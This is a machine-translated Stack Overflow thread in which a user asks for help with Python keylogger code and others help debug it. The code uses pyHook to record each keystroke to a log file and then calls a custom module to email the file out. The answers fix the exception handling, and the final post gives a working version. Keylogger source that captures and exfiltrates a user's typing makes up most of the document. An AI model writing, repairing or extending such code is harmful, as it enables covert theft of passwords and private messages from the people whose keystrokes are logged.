2013-05-17 44 views
0

我有下面的代碼,也有發送電子郵件與文件的代碼,所以通過從庫導入它我想在文件關閉後,程序退出前執行它但它並沒有發生我試圖到處搜索,似乎沒有人釘了它。兩個代碼(keloger和sent_email)分別工作,所以通過從shell執行sent_email它將發送文件,但不是從模塊內部發送。Python通過調用自定義模塊退出之前通過文件發送電子郵件

任何幫助將不勝感激

import pythoncom 
import pyHook 
import sent_email 


log = "" 
logpath = "keyEvent.txt" 

openfile = open(logpath, "w") 
openfile.write("") 

def OnKeyboardEvent(event): 
    try: 
     global log 
     if event.Ascii == 27: 
      log = "[ESC]" 
     elif event.Ascii == 8: 
      log = "[Backspace]" 
     elif event.Ascii == 15: 
      openfile.close() 
      sent_email.main() 
      exit() 
     elif event.Ascii == 13: 
      log = "\n" 
     elif event.Ascii == 0: 
      log = "" 
     else: 
      log = chr(event.Ascii) 
     openfile.write(log) 
    except: 
     pass 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 

while True: 
    pythoncom.PumpMessages() 

但如果我搬到後openfile.write(日誌)的sent_email.main()發送電子郵件和附件,但該文件在關閉前?

+0

可能有助於如果你提供的代碼,但你可以看看了['atexit']( http://docs.python.org/2/library/atexit.html)模塊來註冊Python退出時要調用的函數。 – Aya

+0

嘿,對不起,我只是在它上面。是的,但嘗試過但沒有太大的好處。然而,如果你有一個想法,而不是高興地看看。無論如何! –

+0

因此,也許程序在能夠發送電子郵件之前退出。你能否改變sent_email函數來返回一條消息來告訴你eveyrthing是否有效?也許嘗試以另一種方式導入。 (從sent_email導入*) – Dschoni

回答

0

通過它的外觀,代碼將永遠不會退出。此塊...

try: 
    global log 
    if event.Ascii == 27: 
     log = "[ESC]" 
    elif event.Ascii == 8: 
     log = "[Backspace]" 
    elif event.Ascii == 15: 
     openfile.close() 
     sent_email.main() 
     exit() 
    elif event.Ascii == 13: 
     log = "\n" 
    elif event.Ascii == 0: 
     log = "" 
    else: 
     log = chr(event.Ascii) 
    openfile.write(log) 
except: 
    pass 

...在這裏你打電話exit()如果event.Ascii == 15將無法​​正常工作,因爲這樣exit()作品在Python是提高SystemExit例外,這將是你的裸except:子句捕獲,並被忽略。

你可能需要改變except:except Exception:所以它會趕上除了所有異常SystemExitKeyboardInterrupt - 後者是當你按CTRL-C是什麼Python的產生。

除此之外,我沒有看到任何錯誤的代碼塊。


更新

的想法是對的代碼不退出,除非你關閉命令窗口。

好的。

我只是不明白爲什麼它不發送電子郵件。

那麼,與使用裸露的except:子句相關的另一個問題是,它掩蓋了意外的異常。我建議暫時改變代碼...

except: 
    pass 

...到...

except: 
    raise 

...只是爲了檢查調用sent_email.main()沒有引發異常。

如果這不是問題,你確定elif event.Ascii == 15:塊被調用 - 這是一種奇怪的情況(CTRL-O)。

也許你應該在那裏添加一些print陳述,看看發生了什麼 - 類似...

elif event.Ascii == 15: 
    print "Got ASCII 15 - closing file" 
    openfile.close() 
    print "About to send email" 
    sent_email.main() 
    print "About to exit" 
    exit() 
+0

感謝Buddy,這個想法是代碼不會退出,除非你關閉命令窗口。所以它會記錄鍵盤輸入並將其存儲在名爲log.txt的文件中,然後執行.close(),這一切都很好,但我不明白爲什麼它不發送電子郵件。如果我運行sent_email它會附加文件並立即發送它? –

+0

@AdamWinczewski查看更新後的答案。 – Aya

+0

是的所有被調出將更新只是想檢查一些東西 –

0

所以,這就是我做的代碼工作的感謝綾你觸發了我的記憶

import pythoncom 
import pyHook 
import sent_email 
from apscheduler.scheduler import Scheduler 


log = "" 
logpath = "log.txt" 

openfile = open(logpath, "w") 
openfile.write("") 



def OnKeyboardEvent(event): 
    try: 
     global log 
     if event.Ascii == 27: 
      log = "[ESC]" 
     elif event.Ascii == 8: 
      log = "[Backspace]" 
     elif event.Ascii == 3: 
      print "Closing" 
      openfile.close() 
      sent_email.main() 
      exit() 

     elif event.Ascii == 13: 
      log = "\n" 
     elif event.Ascii == 0: 
      log = "" 
     else: 
      log = chr(event.Ascii) 
     openfile.write(log) 

    except: 
     pass 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 


while True: 
    pythoncom.PumpMessages()